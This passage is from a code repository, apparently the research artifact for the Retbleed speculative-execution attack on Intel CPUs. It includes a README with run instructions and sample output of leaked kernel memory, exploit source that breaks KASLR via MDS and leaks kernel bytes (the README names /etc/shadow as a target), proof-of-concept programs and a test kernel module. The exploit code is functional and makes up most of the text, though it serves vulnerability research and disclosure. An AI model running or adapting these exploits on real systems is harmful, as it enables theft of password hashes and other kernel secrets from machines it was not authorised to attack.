kernel image base and a physical address of a 62 | transparent huge page is needed. We leak these using MDS over load ports. 63 | 64 | ### `exploits/break_kaslr` 65 | This is merely MDS, no Retbleed is involved. We're running on a 6-core machine 66 | so we pin the process to cores 1,7. For other CPU numbering, set the `-c` flag 67 | for `taskset` accordingly. Expected output 68 | 69 | ``` 70 | kwikner@ee-tik-cn104:retbleed_intel/exploits$ taskset -c 1,7 ./break_kaslr 71 | [-] Break KASLR (LP-MDS)... 72 | [*] sys_ni_syscall @ 0xffffffffa06044b0 t=2.596s 73 | [*] kernel_text @ 0xffffffffa0600000 74 | ``` 75 | 76 | ### `exploits/retbleed` 77 | 78 | Retbleed relies on winning a race against the kernel stack, and does so by 79 | evicting it in a sibling thread. 80 | 81 | ``` 82 | exploits$ ./retbleed -h 83 | Usage: ./retbleed --cpu1= --cpu2= --kbase= 84 | --physmap_base= [--leak_perf] 85 | ``` 86 | 87 | Sometimes Retbleed will not immediately lock on to the signal. We are not 88 | sure about what the exact reason is, but it's likely that the kernel stack gets 89 | allocated in an unfortunate location that were unable to evict. However, 90 | restarting it will eventually result in getting a signal, hence we run it in a 91 | loop until it exits with a without an error status: 92 | 93 | ``` 94 | /exploits$ ./do_retbleed.sh 0 0xffffffffa0600000 leak_perf 95 | ....... 96 | [-] Leak PA of 0xd000000000 (LP-MDS)... 97 | [*] 0x287400000 t=284ms 98 | [*] physmap @ 0xffff9e2780000000 t=1.059 99 | [-] Leak some bytes (Retbleed)... target=ffffffffa19a7269 100 | 3Spectre V2 : XXtpoline,amd selected but CPU is not AMD. Switching to AUTO 101 | XXlect???????6Spectre V2 : %s selected on command line.??????3Spectre V2 : 102 | Spectre mitigation: iernel not compiled with retpoline; no mitigation 103 | available!??3Spectre V2 : Spectre mitigation: LFENCE not serializing, switching 104 | to generic retpoline????????6Spectre V2 : Spectre v2 / SpectreRSB mitigation: 105 | Filling RSB on context switch?????????6Spectre V2 : Enabling Restricted 106 | Speculation for firmware calls??X?????6SpeXtre V2 : spectre_v2_user=%s forced on 107 | command line.????????3Spectre V2 : Unknown user space protection option (%s). 108 | Switching to AUTO select???????6Spectre XXX: mitigation: Egabling %s IndXXect 109 | BranXh Prediction Barrier????????6Speculative Store Bypass: %s???4L1TF: System 110 | has more than MAX_PA/2 memory. L1TF mitigation not effective.?????6L1TF: You may 111 | make it effective by booting the kernel with mem=%llu parameter.?????????6L1TF: 112 | However, doing so will makd a partXof your RAM unusable.?????????6L1TF: Re 113 | [*] Leaked 1000 bytes in 4.823 seconds 114 | ``` 115 | 116 | Sometimes it takes several minutes before it successfully starts to leak. 117 | 118 | 119 | ##### Leaking /etc/shadow does not work? 120 | We've observed that occasionally /etc/shadow gets allocated in a problematic 121 | location that for what ever reason is difficult to leak. To overcome this, evict 122 | it from the page cache and put it back: 123 | 124 | ``` 125 | make -C ../misc/ mem_pressure 126 | ../misc/mem_pressure # kick it out 127 | passwd -S # bring it back 128 | ``` 129 | 130 | 131 | -------------------------------------------------------------------------------- /retbleed_intel/exploits/Makefile: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-3.0-only 2 | CC=clang 3 | CFLAGS=-I. -O2 4 | #-fPIE -pie 5 | 6 | all: break_kaslr retbleed 7 | 8 | break_kaslr: break_kaslr.c retbleed.h 9 | $(CC) -o $@ $(CFLAGS) $< 10 | 11 | retbleed: retbleed.c retbleed.h 12 | $(CC) -o $@ -lpthread $(CFLAGS) $< 13 | 14 | # retbleed: retbleed.c retbleed.h 15 | # $(CC) -DCPUA=0 -DCPUB=6 -o $@_0 -lpthread $(CFLAGS) $< 16 | # $(CC) -DCPUA=1 -DCPUB=7 -o $@_1 -lpthread $(CFLAGS) $< 17 | # $(CC) -DCPUA=2 -DCPUB=8 -o $@_2 -lpthread $(CFLAGS) $< 18 | # $(CC) -DCPUA=3 -DCPUB=9 -o $@_3 -lpthread $(CFLAGS) $< 19 | # $(CC) -DCPUA=4 -DCPUB=10 -o $@_4 -lpthread $(CFLAGS) $< 20 | # $(CC) -DCPUA=5 -DCPUB=11 -o $@_5 -lpthread $(CFLAGS) $< 21 | 22 | clean: 23 | rm -f break_kaslr retbleed 24 | -------------------------------------------------------------------------------- /retbleed_intel/exploits/break_kaslr.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | #include "retbleed.h" 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #define KBASE_START 0xffffffff81000000 9 | #define KBASE_END 0xffffffffbe000000 10 | #define SYS_NI_SYSCALL 0x44b0 11 | #define MAX_ITS 200000 12 | #define THRES 1 13 | 14 | int do_break_kaslr() { 15 | u64 results[512] = {0}; 16 | u8 *reloadbuffer = mmap_huge((u8 *)(8UL<<21), 1<<21); 17 | u8* leak = map_or_die((u8*)0x210eeff01000UL, 0x1000); 18 | leak[0] = 1; 19 | u64 t0 = get_ms(); 20 | u64 prefix = 0xffffffff80000000UL | SYS_NI_SYSCALL; 21 | u64 guess = 0; 22 | char rotate = 21; 23 | INFO("Break KASLR (LP-MDS)...\n"); 24 | for(int i = 0; i < MAX_ITS; ++i) { 25 | flush_range(reloadbuffer, 1<<10, 0x200); 26 | __asm__ volatile( 27 | "lfence\n" 28 | "movq (%0), %%r13\n" 29 | "xorq %[prefix], %%r13\n" 30 | "rorq %[rotate], %%r13\n" 31 | "shl $0xa, %%r13\n" 32 | "prefetcht0 (%%r13, %1)\n" 33 | "mfence\n" 34 | ::"r"(leak + 0x3f), 35 | "r"(reloadbuffer), 36 | [prefix]"r"(prefix), 37 | [rotate]"c"(rotate): "r13", "r12"); 38 | reload_range(reloadbuffer, 1<<10, 0x200, results); 39 | // we have zero bias but we're sure 0 can not be the answer 40 | results[0] = 0; 41 | guess = max_index(results, 0x1ff); 42 | if (results[guess] > THRES) { 43 | break; 44 | } 45 | 46 | #define PAGEFAULT 47 | #ifdef PAGEFAULT 48 | madvise(leak, 1*4096, MADV_FREE); 49 | #endif 50 | } 51 | 52 | if (guess == 0) { 53 | ERROR("Got nothing.. Maybe needs some tweaking for this hardware?\n"); 54 | return 0; 55 | } 56 | 57 | u64 ni_syscall = prefix | (guess< [core_id=0] [--leak_perf]" 7 | echo " unless leak_perf is set (to anything), try to leak /etc/shadow" 8 | exit 1 9 | fi 10 | 11 | KERN_TEXT=$1 12 | CORE=${2:-0} 13 | 14 | cpulist=($(grep core\ id /proc/cpuinfo | nl -v 0 | grep "$CORE$" | sed 's/\s*\([0-9]*\).*$/\1/g')) 15 | HT1=${cpulist[0]} 16 | HT2=${cpulist[1]} 17 | echo Using Core $HT1 and $HT2 18 | 19 | while ! ./retbleed --cpu1=$HT1 --cpu2=$HT2 --kbase=$KERN_TEXT $3; do 20 | true; 21 | done 22 | -------------------------------------------------------------------------------- /retbleed_intel/exploits/retbleed.h: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #define COLOR_GREEN "\033[32m" 13 | #define COLOR_RED "\033[31m" 14 | #define COLOR_BLUE "\033[34m" 15 | #define COLOR_YELLOW "\033[33m" 16 | #define COLOR_NC "\033[0m" 17 | 18 | #define COLOR_BG_RED "\033[41m" 19 | #define COLOR_BG_PRED "\033[101m" 20 | #define COLOR_BG_GRN "\033[42m" 21 | #define COLOR_BG_PGRN "\033[102m" 22 | #define COLOR_BG_YEL "\033[43m" 23 | #define COLOR_BG_PYEL "\033[103m" 24 | #define COLOR_BG_BLU "\033[44m" 25 | #define COLOR_BG_PBLU "\033[104m" 26 | #define COLOR_BG_MAG "\033[45m" 27 | #define COLOR_BG_PMAG "\033[105m" 28 | #define COLOR_BG_CYN "\033[46m" 29 | #define COLOR_BG_PCYN "\033[106m" 30 | #define COLOR_BG_WHT "\033[47m" 31 | #define COLOR_BG_PWHT "\033[107m" 32 | 33 | #define INFO(...) printf("\r[" COLOR_BLUE "-" COLOR_NC"] " __VA_ARGS__); 34 | #define SUCCESS(...) printf("\r[" COLOR_GREEN "*" COLOR_NC"] " __VA_ARGS__); 35 | #define ERROR(...) printf("\r[" COLOR_RED "!" COLOR_NC"] " __VA_ARGS__); 36 | #define DEBUG(...) printf("\r[" COLOR_YELLOW "d" COLOR_NC"] " __VA_ARGS__); 37 | #define WARN DEBUG 38 | 39 | #define MMAP_FLAGS (MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED_NOREPLACE) 40 | #define PROT_RWX (PROT_READ | PROT_WRITE | PROT_EXEC) 41 | #define PROT_RW (PROT_READ | PROT_WRITE) 42 | 43 | typedef unsigned long u64; 44 | typedef unsigned char u8; 45 | 46 | #define MIN(x,n) (x > n ? n : x) 47 | #define str(s) #s 48 | #define xstr(s) str(s) 49 | #define NOP asm volatile("nop") 50 | #define NOPS_str(n) ".rept " xstr(n) "\n\t"\ 51 | "nop\n\t"\ 52 | ".endr\n\t" 53 | #define NOPS(n) asm volatile(NOPS_str(n)) 54 | 55 | #define MAP_OR_DIE(...) do {\ 56 | if (mmap(__VA_ARGS__) == MAP_FAILED) err(1, "mmap");\ 57 | } while(0) 58 | 59 | static long va_to_phys(int fd, long va) 60 | { 61 | unsigned long pa_with_flags; 62 | 63 | lseek(fd, ((long) (~0xfffUL)&va)>>9, SEEK_SET); 64 | read(fd, &pa_with_flags, 8); 65 | return pa_with_flags<<12 | (va & 0xfff); 66 | } 67 | 68 | 69 | /** 70 | * Descriptor of some memory, i.e., our reload buffer or probe buffer. 71 | */ 72 | struct mem_info { 73 | union { 74 | u64 va; 75 | u8* buf; 76 | }; 77 | u64 kva; 78 | u64 pa; 79 | }; 80 | 81 | static inline unsigned long get_ms() { 82 | static struct timeval tp; 83 | gettimeofday(&tp, 0); 84 | return tp.tv_sec * 1000 + tp.tv_usec / 1000; 85 | } 86 | 87 | static inline __attribute__((always_inline)) u64 rdtsc(void) { 88 | u64 lo, hi; 89 | asm volatile ("CPUID\n\t" 90 | "RDTSC\n\t" 91 | "movq %%rdx, %0\n\t" 92 | "movq %%rax, %1\n\t" : "=r" (hi), "=r" (lo):: 93 | "%rax", "%rbx", "%rcx", "%rdx"); 94 | return (hi << 32) | lo; 95 | } 96 | 97 | static inline __attribute__((always_inline)) u64 rdtscp(void) { 98 | u64 lo, hi; 99 | asm volatile("RDTSCP\n\t" 100 | "movq %%rdx, %0\n\t" 101 | "movq %%rax, %1\n\t" 102 | "CPUID\n\t": "=r" (hi), "=r" (lo):: "%rax", 103 | "%rbx", "%rcx", "%rdx"); 104 | return (hi << 32) | lo; 105 | } 106 | 107 | // flip to 1 when we SHOULD segfault and not crash the program 108 | static int should_segfault = 0; 109 | static sigjmp_buf env; 110 | static void handle_segv(int sig, siginfo_t *si, void *unused) 111 | { 112 | if (should_segfault) { 113 | siglongjmp(env, 12); 114 | return; 115 | }; 116 | 117 | fprintf(stderr, "Not handling SIGSEGV\n"); 118 | exit(sig); 119 | } 120 | 121 | static void inline setup_segv_handler() { 122 | struct sigaction sa; 123 | sa.sa_flags = SA_SIGINFO; 124 | sigemptyset(&sa.sa_mask); 125 | sa.sa_sigaction = &handle_segv; 126 | sigaction (SIGSEGV, &sa, NULL); 127 | } 128 | 129 | static inline __attribute__((always_inline)) void reload_range(u8* base, long stride, int n, u64 *results) { 130 | __asm__ volatile("mfence\n"); 131 | for (u64 k = 0; k < n; ++k) { 132 | u64 c = (k*13+9)&(n-1); 133 | unsigned volatile char *p = base + (stride * c); 134 | u64 t0 = rdtsc(); 135 | *(volatile unsigned char *)p; 136 | u64 dt = rdtscp() - t0; 137 | if (dt < 130) results[c]++; 138 | } 139 | } 140 | 141 | static inline __attribute__((always_inline)) void flush_range(u8* start, long stride, int n) { 142 | for (u64 k = 0; k < n; ++k) { 143 | volatile void *p = start + k * stride; 144 | __asm__ volatile("clflushopt (%0)\n"::"r"(p)); 145 | __asm__ volatile("clflushopt (%0)\n"::"r"(p)); 146 | } 147 | } 148 | 149 | static size_t max_index(size_t *results, long max_byte) { 150 | size_t max = 0x0; 151 | for (size_t c = 0x1; c <= max_byte; ++c) { 152 | if (results[c] > results[max]) 153 | max = c; 154 | } 155 | return max; 156 | } 157 | 158 | static void * 159 | map_or_die(void *addr, u64 sz) 160 | { 161 | if (mmap(addr, sz, PROT_RW, MMAP_FLAGS, -1, 0) == MAP_FAILED) { 162 | err(1, "mmap %p\n", addr); 163 | } 164 | return addr; 165 | } 166 | 167 | static void * 168 | mmap_huge(void *addr, u64 sz) 169 | { 170 | map_or_die(addr, sz); 171 | 172 | if (madvise(addr, 1UL<<21, MADV_HUGEPAGE) != 0) { 173 | err(2, "madv %p", addr); 174 | } 175 | 176 | *(char*)addr=0x1; // map page. 177 | return addr; 178 | } 179 | -------------------------------------------------------------------------------- /retbleed_intel/pocs/Makefile: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-3.0-only 2 | CC = clang 3 | CFLAGS = -O1 4 | 5 | all: ret_bti cp_bti eval_bw 6 | 7 | ret_bti: ./ret_bti.c ./common.h 8 | $(CC) $(CFLAGS) -o $@ $< 9 | 10 | cp_bti: ./cp_bti.c ./common.h 11 | $(CC) $(CFLAGS) -o $@ $< 12 | 13 | eval_bw: ./eval_bw.c ./common.h 14 | $(CC) $(CFLAGS) -o $@ $< 15 | 16 | clean: 17 | rm -f ret_bti cp_bti eval_bw 18 | -------------------------------------------------------------------------------- /retbleed_intel/pocs/common.h: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #define MMAP_FLAGS (MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED_NOREPLACE) 13 | #define PROT_RW (PROT_READ | PROT_WRITE) 14 | #define PROT_RWX (PROT_RW | PROT_EXEC) 15 | 16 | #define PG_ROUND(n) (((((n)-1UL)>>12)+1)<<12) 17 | 18 | #define str(s) #s 19 | #define xstr(s) str(s) 20 | 21 | #define NOP asm volatile("nop") 22 | #define NOPS_str(n) ".rept " xstr(n) "\n\t"\ 23 | "nop\n\t"\ 24 | ".endr\n\t" 25 | 26 | typedef unsigned long u64; 27 | typedef unsigned char u8; 28 | 29 | // start measure. 30 | static inline __attribute__((always_inline)) u64 rdtsc(void) { 31 | u64 lo, hi; 32 | asm volatile ("CPUID\n\t" 33 | "RDTSC\n\t" 34 | "movq %%rdx, %0\n\t" 35 | "movq %%rax, %1\n\t" : "=r" (hi), "=r" (lo):: 36 | "%rax", "%rbx", "%rcx", "%rdx"); 37 | return (hi << 32) | lo; 38 | } 39 | 40 | // stop meassure. 41 | static inline __attribute__((always_inline)) u64 rdtscp(void) { 42 | u64 lo, hi; 43 | asm volatile("RDTSCP\n\t" 44 | "movq %%rdx, %0\n\t" 45 | "movq %%rax, %1\n\t" 46 | "CPUID\n\t": "=r" (hi), "=r" (lo):: "%rax", 47 | "%rbx", "%rcx", "%rdx"); 48 | return (hi << 32) | lo; 49 | } 50 | 51 | static inline __attribute__((always_inline)) void reload_range(long base, long stride, int n, u64 *results) { 52 | __asm__ volatile("mfence\n"); // all memory operations done. 53 | for (u64 k = 0; k < n; ++k) { 54 | u64 c = (k*17+64)&(n-1); // c=1,0,3,2 55 | // if (n <= 16) { 56 | // u64 c = (k*7+15)&(n-1); // c=1,0,3,2 works for 16 entries Intel only 57 | // } 58 | unsigned volatile char *p = (u8 *)base + (stride * c); 59 | u64 t0 = rdtsc(); 60 | *(volatile unsigned char *)p; 61 | u64 dt = rdtscp() - t0; 62 | if (dt < 70) results[c]++; 63 | } 64 | } 65 | 66 | static inline __attribute__((always_inline)) void flush_range(long start, long stride, int n) { 67 | asm("mfence"); 68 | for (u64 k = 0; k < n; ++k) { 69 | volatile void *p = (u8 *)start + k * stride; 70 | __asm__ volatile("clflushopt (%0)\n"::"r"(p)); 71 | __asm__ volatile("clflushopt (%0)\n"::"r"(p)); 72 | } 73 | asm("lfence"); 74 | } 75 | 76 | // probably not what you want for arrays. its for immediate numbers of arbitrary 77 | // length. 78 | static inline void mem2bin(char *dst, unsigned char *in, int l) { 79 | for (int i = 0; i < l; ++i) { 80 | dst[(l-1)-i] = (in[i>>3] >> (i&0x7) & 1) + '0'; 81 | } 82 | } 83 | 84 | static inline void short2bin(char *dst, u64 in) { 85 | mem2bin(dst, (unsigned char*)&in, 16); 86 | } 87 | 88 | static inline void long2bin(char *dst, u64 in) { 89 | mem2bin(dst, (unsigned char *)&in, 64); 90 | } 91 | 92 | 93 | static u64 get_next_slow(u64 cur, int nbits) { 94 | while (__builtin_popcountll(++cur) != nbits) 95 | ; 96 | return cur; 97 | } 98 | 99 | static u64 get_next_fast(u64 cur) { 100 | int nbits = __builtin_popcountll(cur); 101 | int rbits = 0; 102 | for (int bi = 0; bi < 64; ++bi) { 103 | u64 tup = (cur>>bi)&0x3; 104 | if (tup == 0x3) { 105 | rbits ++; 106 | } else if (tup == 0x1) { 107 | // swap 0b01 -> 0b10 108 | cur ^= 0x3UL< 140 | #define MAP_OR_DIE(...) do {\ 141 | if (mmap(__VA_ARGS__) == MAP_FAILED) err(1, "mmap");\ 142 | } while(0) 143 | 144 | static void * 145 | map_or_die(void *addr, u64 sz) 146 | { 147 | MAP_OR_DIE(addr, sz, PROT_RW, MMAP_FLAGS, -1, 0); 148 | *(char*)addr=0x1; // map page. 149 | return addr; 150 | } 151 | 152 | static void * 153 | mmap_huge(void *addr, u64 sz) 154 | { 155 | MAP_OR_DIE(addr, sz, PROT_RW, MMAP_FLAGS, -1, 0); 156 | 157 | if (madvise(addr, 1UL<<21, MADV_HUGEPAGE) != 0) { 158 | err(2, "madv %p", addr); 159 | } 160 | 161 | *(char*)addr=0x1; // map page. 162 | return addr; 163 | } 164 | 165 | static u64 rand64() { 166 | return (((u64)rand())<<16) ^ rand(); 167 | } 168 | 169 | 170 | // flip to 1 when we SHOULD segfault and not crash the program 171 | static int should_segfault = 0; 172 | static sigjmp_buf env; 173 | static void handle_segv(int sig, siginfo_t *si, void *unused) 174 | { 175 | if (should_segfault) { 176 | siglongjmp(env, 12); 177 | return; 178 | }; 179 | 180 | fprintf(stderr, "Not handling SIGSEGV\n"); 181 | exit(sig); 182 | } 183 | 184 | static void inline setup_segv_handler() { 185 | struct sigaction sa; 186 | sa.sa_flags = SA_SIGINFO; 187 | sigemptyset(&sa.sa_mask); 188 | sa.sa_sigaction = &handle_segv; 189 | sigaction (SIGSEGV, &sa, NULL); 190 | } 191 | static long va_to_phys(int fd, long va) 192 | { 193 | unsigned long pa_with_flags; 194 | 195 | lseek(fd, ((long) (~0xfffUL)&va)>>9, SEEK_SET); 196 | read(fd, &pa_with_flags, 8); 197 | return pa_with_flags<<12 | (va & 0xfff); 198 | } 199 | 200 | static inline unsigned long get_ms() { 201 | static struct timeval tp; 202 | gettimeofday(&tp, 0); 203 | return tp.tv_sec * 1000 + tp.tv_usec / 1000; 204 | } 205 | 206 | -------------------------------------------------------------------------------- /retbleed_intel/pocs/cp_bti.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include "./kmod_retbleed_poc/retbleed_poc_ioctl.h" 9 | #include "common.h" 10 | 11 | #define ROUNDS 10000 12 | #define RB_PTR 0x3400000 13 | #define RB_STRIDE_BITS 12 14 | #define RB_SLOTS 0x10 15 | 16 | #define RET_PATH_LENGTH 30 17 | typedef unsigned long u64; 18 | typedef unsigned char u8; 19 | 20 | __attribute__((aligned(4096))) static u64 results[RB_SLOTS] = {0}; 21 | 22 | static void print_results(u64 *results, int n) { 23 | for (int i = 0; i < n; ++i) { 24 | printf("%lu ", results[i]); 25 | } 26 | puts(""); 27 | } 28 | 29 | // va of the history setup space 30 | #define HISTORY_SPACE 0x788888000000 31 | 32 | // 1MiB is enough. We bgb uses only the lower 19 bits, and since there's a 33 | // risk of overflowing (dst0=..7f...., src1=..80....) we can keep the lower 19 for 34 | // the src and the lower 20 for the dst. 35 | #define HISTORY_SZ (1UL<<21) 36 | 37 | // fall inside the history buffer: ffffffff830000000 -> 0x30000000 38 | #define HISTORY_MASK (HISTORY_SZ-1) 39 | 40 | #define OP_RET 0xc3 41 | 42 | int main(int argc, char *argv[]) 43 | { 44 | setup_segv_handler(); 45 | int fd_spec = open("/proc/" PROC_RETBLEED_POC, O_RDONLY); 46 | if(fd_spec < 0) { 47 | err(1, "open"); 48 | } 49 | int fd_pagemap = open("/proc/self/pagemap", O_RDONLY); 50 | 51 | struct synth_gadget_desc sg = { 0 }; 52 | if (ioctl(fd_spec, REQ_GADGET, &sg) != 0) { 53 | err(1, "ioctl"); 54 | } 55 | memset(results, 0, sizeof(results[0])*RB_SLOTS); 56 | u8* ret_path[RET_PATH_LENGTH+1] = {0}; 57 | 58 | u8* train_space = (u8*)HISTORY_SPACE; 59 | MAP_OR_DIE(train_space, HISTORY_SZ, PROT_RWX, MMAP_FLAGS, -1, 0); 60 | 61 | ret_path[0] = (u8*)sg.kbr_dst; 62 | for (int i = 0; i < RET_PATH_LENGTH; ++i) { 63 | ret_path[i+1] = train_space + (sg.kbr_src & HISTORY_MASK); 64 | } 65 | train_space[sg.kbr_src & HISTORY_MASK] = OP_RET; 66 | 67 | u8* rb_va = (u8*)RB_PTR; 68 | 69 | mmap_huge(rb_va, 1<<21); 70 | 71 | u64 rb_pa = va_to_phys(fd_pagemap, RB_PTR); 72 | if (rb_pa == 0) { 73 | fprintf(stderr, "rb: no pa\n"); 74 | exit(1); 75 | } else if ((rb_pa & 0x1fffff) != 0) { 76 | fprintf(stderr, "rb: not huge\n"); 77 | exit(1); 78 | } 79 | 80 | u64 rb_kva = rb_pa + sg.physmap_base; 81 | printf("rb_pa 0x%lx\n", rb_pa); 82 | printf("rb_kva 0x%lx\n", rb_kva); 83 | printf("kbr_src 0x%lx\n", sg.kbr_src); 84 | printf("kbr_dst 0x%lx\n", sg.kbr_dst); 85 | printf("secret 0x%lx\n", sg.secret); 86 | 87 | struct payload p; 88 | p.secret = sg.secret; 89 | p.reload_buffer = rb_kva; 90 | 91 | flush_range(RB_PTR, 1< 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include "./kmod_retbleed_poc/retbleed_poc_ioctl.h" 9 | #include "common.h" 10 | 11 | #define RB_PTR 0x3400000 12 | #define RB_STRIDE_BITS 12 13 | #define RB_SLOTS 0x100 14 | 15 | #define RET_PATH_LENGTH 30 16 | typedef unsigned long u64; 17 | typedef unsigned char u8; 18 | 19 | __attribute__((aligned(4096))) static u64 results[RB_SLOTS] = {0}; 20 | 21 | static void print_results(u64 *results, int n) { 22 | for (int i = 0; i < n; ++i) { 23 | printf("%lu ", results[i]); 24 | } 25 | puts(""); 26 | } 27 | 28 | // va of the history setup space 29 | #define HISTORY_SPACE 0x788888000000 30 | 31 | // 1MiB is enough. We bgb uses only the lower 19 bits, and since there's a 32 | // risk of overflowing (dst0=..7f...., src1=..80....) we can keep the lower 19 for 33 | // the src and the lower 20 for the dst. 34 | #define HISTORY_SZ (1UL<<21) 35 | 36 | // fall inside the history buffer: ffffffff830000000 -> 0x30000000 37 | #define HISTORY_MASK (HISTORY_SZ-1) 38 | 39 | #define OP_RET 0xc3 40 | 41 | static u8 secret_bytes[0x1000]; 42 | static u8 expected_secret_bytes[0x1000]; 43 | 44 | int main(int argc, char *argv[]) 45 | { 46 | setup_segv_handler(); 47 | int fd_spec = open("/proc/" PROC_RETBLEED_POC, O_RDONLY); 48 | if(fd_spec < 0) { 49 | err(1, "open"); 50 | } 51 | int fd_pagemap = open("/proc/self/pagemap", O_RDONLY); 52 | 53 | struct synth_gadget_desc sg = { 0 }; 54 | if (ioctl(fd_spec, REQ_GADGET, &sg) != 0) { 55 | err(1, "ioctl"); 56 | } 57 | u8* ret_path[RET_PATH_LENGTH+1] = {0}; 58 | 59 | u8* train_space = (u8*)HISTORY_SPACE; 60 | MAP_OR_DIE(train_space, HISTORY_SZ, PROT_RWX, MMAP_FLAGS, -1, 0); 61 | 62 | ret_path[0] = (u8*)sg.kbr_dst; 63 | for (int i = 0; i < RET_PATH_LENGTH; ++i) { 64 | ret_path[i+1] = train_space + (sg.kbr_src & HISTORY_MASK); 65 | } 66 | train_space[sg.kbr_src & HISTORY_MASK] = OP_RET; 67 | 68 | u8* rb_va = (u8*)RB_PTR; 69 | 70 | mmap_huge(rb_va, 1<<21); 71 | 72 | u64 rb_pa = va_to_phys(fd_pagemap, RB_PTR); 73 | if (rb_pa == 0) { 74 | fprintf(stderr, "rb: no pa\n"); 75 | exit(1); 76 | } else if ((rb_pa & 0x1fffff) != 0) { 77 | fprintf(stderr, "rb: not huge\n"); 78 | exit(1); 79 | } 80 | 81 | u64 rb_kva = rb_pa + sg.physmap_base; 82 | printf("rb_pa 0x%lx\n", rb_pa); 83 | printf("rb_kva 0x%lx\n", rb_kva); 84 | printf("kbr_src 0x%lx\n", sg.kbr_src); 85 | printf("kbr_dst 0x%lx\n", sg.kbr_dst); 86 | printf("secret 0x%lx\n", sg.secret); 87 | 88 | struct payload p; 89 | p.secret = sg.secret; 90 | p.reload_buffer = rb_kva; 91 | 92 | #define NBYTES 0x1000 93 | int error_start = 0; 94 | u64 t0 = get_ms(); 95 | for (int i = 0; i < NBYTES; ++i) { 96 | memset(results, 0, RB_SLOTS * sizeof(results[0])); 97 | 98 | p.secret = sg.secret + i; 99 | flush_range(RB_PTR, 1<= 1) { 119 | break; 120 | } 121 | } 122 | if (j < RB_SLOTS) { 123 | secret_bytes[i] = j; 124 | } 125 | } 126 | double t = (get_ms() - t0) / 1000.0; 127 | ioctl(fd_spec, REQ_SECRET, expected_secret_bytes); 128 | int errors = 0; 129 | for (int i = 0; i < NBYTES; ++i) { 130 | if (expected_secret_bytes[i] != secret_bytes[i]) { 131 | errors++; 132 | } 133 | } 134 | 135 | printf( 136 | "%d/%d accuracy=%0.4f speed=%0.2f B/s\n", NBYTES-errors, NBYTES, (NBYTES-errors)/(1.0*NBYTES), NBYTES/t); 137 | 138 | return 0; 139 | } 140 | -------------------------------------------------------------------------------- /retbleed_intel/pocs/kmod_retbleed_poc/Makefile: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-3.0-only 2 | CC=gcc 3 | mod-name := retbleed_poc 4 | obj-m += $(mod-name).o 5 | ccflags-y := \ 6 | -O1 \ 7 | -DDEBUG \ 8 | -std=gnu99 \ 9 | -Werror \ 10 | $(CCFLAGS) 11 | PWD=$(shell pwd) 12 | 13 | all: 14 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 15 | 16 | clean: 17 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 18 | 19 | .PHONY: 20 | install: all 21 | sudo insmod $(mod-name).ko 22 | 23 | .PHONY: 24 | remove: 25 | sudo rmmod $(mod-name).ko 26 | -------------------------------------------------------------------------------- /retbleed_intel/pocs/kmod_retbleed_poc/retbleed_poc.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | #include 3 | #include "linux/sysctl.h" 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include /* virt_to_phys */ 11 | #include 12 | #include /* copy_from_user, copy_to_user */ 13 | #include "./retbleed_poc_ioctl.h" 14 | 15 | __attribute__((aligned(0x100))) 16 | static unsigned char random_bytes[0x1000]; 17 | 18 | static struct proc_dir_entry *procfs_file; 19 | 20 | /** 21 | * The most trivial kind of disclosure gadget. shifts secret and it uses as 22 | * index in reload buffer. 23 | * Note: THIS FUNCTION IS NEVER ARCHITECTURALLY CALLED. Only speculatively. 24 | */ 25 | void disclosure_gadget(u64 secret, u8 *reload_buffer); 26 | asm( 27 | ".align 0x800\n\t" 28 | "disclosure_gadget:\n\t" 29 | "movzb (%rdi), %edi\n\t" 30 | "shl $12, %rdi\n\t" 31 | "movq $2, (%rdi, %rsi)\n\t" 32 | "lfence\n\t"); 33 | 34 | static struct synth_gadget_desc desc = {}; 35 | 36 | // this function only recurses until rdx is 0 and then returns. At the 37 | // ret-instructoin here, we speculate into disclosure gadget above. Note that 38 | // there are no indirect jumps here (except for the ret). 39 | void speculation_primitive_ret(void); 40 | void speculation_primitive(unsigned long secret, unsigned long addr, int recursion); 41 | asm( 42 | ".align 0x800\n\t" 43 | "speculation_primitive:\n\t" 44 | "test %rdx, %rdx\n\t" 45 | // flushing the stack. it's a bit of a strange place to do it but still helps 46 | // while still not changing the neat branch history from the series of 47 | // returns. This can be done through eviction instead. 48 | "clflush (%rsp)\n\t" 49 | 50 | "jz .Lfinish\n\t" // normally Not taken. jmp if rdx==0 51 | "dec %rdx\n\t" 52 | ".skip 0x6e, 0x90\n\t" // some nops for good luck. 53 | "call speculation_primitive\n\t" // should maybe alternate between another function? 54 | ".Lfinish:\n\t" 55 | // ok we are here and will ret to here, history will be full of its 56 | // footprint. because Lfinish and speculation_primitive_ret are that the 57 | // same place the history will be 58 | // .Lfinish -> .Lfinish -> .Lfinish ..etc (29 times) 59 | "speculation_primitive_ret: ret\n\t" 60 | ); 61 | 62 | static long handle_ioctl(struct file *filp, unsigned int request, unsigned long argp) { 63 | struct payload p; 64 | if (request == REQ_GADGET) { 65 | asm volatile("lfence"); 66 | if (copy_to_user((void *)argp, &desc, sizeof(struct synth_gadget_desc)) != 0) { 67 | return -EFAULT; 68 | } 69 | } 70 | if (request == REQ_SPECULATE) { 71 | asm volatile("lfence"); 72 | if (copy_from_user(&p, (void *)argp, sizeof(struct payload)) != 0) { 73 | return -EFAULT; 74 | } 75 | speculation_primitive(p.secret, p.reload_buffer, 29); 76 | } 77 